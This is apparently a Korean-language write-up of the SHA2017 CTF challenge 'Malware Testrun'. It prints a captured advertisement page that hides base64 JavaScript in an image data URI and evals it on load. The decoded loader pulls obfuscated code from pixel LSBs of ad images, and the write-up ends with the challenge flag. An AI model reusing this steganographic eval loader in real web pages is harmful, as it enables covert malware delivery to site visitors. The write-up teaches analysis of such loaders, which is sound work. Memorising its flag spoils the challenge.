SHA2017 CTF - Malware Testrun (200 pts.)

We heard a rumour that our website will be used to distribute malware. We believe we captured a test run of it. Can you find out what the malicious content will be?

(malwaretestrun.tgz) 53eff0e472db7ecfdd9a9534d3b05098

전체적을 패킷을 먼저 분석해보면 HTTP가 많다.

Wireshark의 Export기능으로 파일을 일단 다 빼오자.

html 파일들을 읽다보니 굉장히 수상한 내용이 있었다.

ads.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<head><title>Advertisement</title></head>

<body>
<img id="img" src="data:image/png;base64,ej0iIjtmdW5jdGlvbiB2KGIpe3M9Jyc7Zm9yKGk9MCxsPWIubGVuZ3RoO2k8bDtpKz04KXtjPTA7Zm9yKGo9NztqPj0wO2otPTEpe2MrPWJbaSs3LWpdPDxqO31zKz1TdHJpbmcuZnJvbUNoYXJDb2RlKGMpO31yZXR1cm4gczt9ZnVuY3Rpb24gZChpbWcpe2k9MDtsPWltZy5sZW5ndGg7c3Q9W107d2hpbGUoaTxsKXtzdFtpXT0gaW1nW2kqNF0mMTtpKz0xO31yZXR1cm4gdihzdCk7fWZ1bmN0aW9uIGYoKXt3PWkubmF0dXJhbFdpZHRoO2g9aS5uYXR1cmFsSGVpZ2h0O2M9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiY2FudmFzIik7eD1jLmdldENvbnRleHQoIjJkIik7Yy53aWR0aD13O2MuaGVpZ2h0PWg7eC5kcmF3SW1hZ2UoaSwwLDAsdyxoKTt0PWQoeC5nZXRJbWFnZURhdGEoMCwwLHcsaCkuZGF0YSk7aWYodD10Lm1hdGNoKC9TSEEuKlNIQS8pKXt6Kz10WzBdLnJlcGxhY2UoL1NIQS9nLCcnKTt9fTtmdW5jdGlvbiBxKCl7aT1uZXcgSW1hZ2UoKTtpLmFkZEV2ZW50TGlzdGVuZXIoJ2xvYWQnLGYsZmFsc2UpO2kuc3JjPSJub3RpdC5wbmcifXNldFRpbWVvdXQocSwxMDAwKTtmdW5jdGlvbiBhKCl7ZXZhbCh6KX1zZXRUaW1lb3V0KGEsMjAwMDAwKQo=">

<script type="text/javascript">
eval(atob(document.images[0].src.replace(/.*,/, "")));

// Show ads
function showImage(i){
document.images[0].src="images/ad00" + i + ".png";
}

for (i=0;i<7;i++){
setTimeout(showImage,2000*i,i);
}

</script>
</body>
</html>

img의 base64를 decode해보면 다음과 같은 코드가 나온다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
z = "";

function v(b) {
s = '';
for (i = 0, l = b.length; i < l; i += 8) {
c = 0;
for (j = 7; j >= 0; j -= 1) {
c += b[i + 7 - j] << j;
}
s += String.fromCharCode(c);
}
return s;
}

function d(img) {
i = 0;
l = img.length;
st = [];
while (i < l) {
st[i] = img[i * 4] & 1;
i += 1;
}
return v(st);
}

function f() {
w = i.naturalWidth;
h = i.naturalHeight;
c = document.createElement("canvas");
x = c.getContext("2d");
c.width = w;
c.height = h;
x.drawImage(i, 0, 0, w, h);
t = d(x.getImageData(0, 0, w, h).data);
if (t = t.match(/SHA.*SHA/)) {
z += t[0].replace(/SHA/g, '');
}
};

function q() {
i = new Image();
i.addEventListener('load', f, false);
i.src = "notit.png"
}
setTimeout(q, 1000);

function a() {
eval(z)
}
setTimeout(a, 200000)

그냥 i.srcnotit.png라고 되어있는데 ad001.png ~ ad006.png를 넣어 보기로 했다.

먼저 ad001.png를 해보니 z의 값이 (+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![(길어서 생략)

이런식으로 난독화된 코드가 나오고 있었고 마지막 부분을 보면 괄호가 닫히지 않은 형태였다. 그래서 직감적으로 ad006.png까지 모두 z값을 이어붙여주면 javascript 코드가 완성될거라 생각했고 그게 정답이었다.

eval(z)

1
x=new Date();if(x.getDate()=="23"&&x.getHours()=="12"){alert("flag{02aa1488771e325eef9b0e5f0d2db626}")}

Flag : flag{02aa1488771e325eef9b0e5f0d2db626}

Share